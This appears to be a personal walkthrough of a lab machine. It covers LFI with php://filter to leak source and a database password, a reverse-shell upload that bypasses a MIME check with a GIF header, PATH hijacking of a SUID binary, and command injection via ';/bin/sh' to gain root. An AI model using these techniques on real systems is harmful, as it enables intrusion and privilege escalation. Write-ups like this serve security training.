Nothing interesting

Mysql

I don’t have the creds so I can try to exploit now.

Port 80 LFI

https://blog.certcube.com/detailed-cheatsheet-lfi-rce-websheels/

It’s not working for /etc/passwd but there is a file login and upload, I can try them.

curl http://192.168.0.29/\?page\=php://filter/read\=convert.base64-encode/resource\=login

I have to decode it, it’s in base 64.

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
	$luser = $_POST['user'];
	$lpass = base64_encode($_POST['pass']);
...

We also have the file config.php.

curl http://192.168.0.29/\?page\=php://filter/read\=convert.base64-encode/resource\=config

Output:

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

We have the creds for the mysql

Mysql

Browse the database

mysql -u root -h 192.168.0.29 -p 
H4u%QJ_H99

Decode the hash

We can decode them, with a base64 decoder.

echo "Sld6WHVCSkpOeQ==" | base64 --decode

Upload a revershell

Let’s upload a revershell.

Ok let’s upload an image ( ͡° ͜ʖ ͡°).

cp phprc.php rc.jpg

It’s not working, let’s see the code of upload.php.

curl http://192.168.0.29/\?page\=php://filter/read\=convert.base64-encode/resource\=upload

...
if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') { die('Error 002');
...

I have the error 002 because of the mime verification, I need to bypass it.
I have to add this code in my file.

GIF89aP;
[shell]

After the upload I change the cookie, it was hard to find this solution.

I send the request an now i have a shell.

Connect as kane

python -c 'import pty; pty.spawn("/bin/bash")'
su kane

In the home directory we have the file msgmike it’s an executable.

-rwsr-sr-x 1 mike mike 5148 Mar 17  2016 msgmike

So it will run as mike.
let’s see what is inside:

strings ms*

/lib/ld-linux.so.2
libc.so.6
_IO_stdin_used
setregid
setreuid
system
__libc_start_main
__gmon_start__

.symtab
.strtab
.shstrtab
.interp
.note.ABI-tag
.note.gnu.build-id

...

As we can see it’s using the command cat.
google: exploit binaries privesc suid.
https://materials.rangeforce.com/tutorial/2019/11/07/Linux-PrivEsc-SUID-Bit/

We are using cat and not whoami.

echo "/bin/bash" > /tmp/cat 
chmod 777 /tmp/cat  
export PATH=/tmp:$PATH
./msgmike
id

Output:

uid=1002(mike) gid=1002(mike) groups=1002(mike),1003(kane)

Now let’s see what is in the home director.
We have a similar programe called msg2root.

strings msg2root

/bin/echo %s >> /root/messages.txt

The %s is like the $1 in bash, he need an argument.
I will execute 2 cammmands, the first one is echo, the second one is /bin/sh.

A; B # Run A and then B, regardless of success of A 
A && B # Run B if and only if A succeeded 
A || B # Run B if and only if A failed 
A & # Run A in background.

I’m gonna use ; to execute the 2 commands.

./msg2root 
sdf;/bin/sh
id

Output:

uid=1002(mike) gid=1002(mike) euid=0(root) egid=0(root) groups=0(root),1003(kane)

I’m gonna display the flag.
Cat is broken si I’m gonna use tail.

tail /root/*

Output:
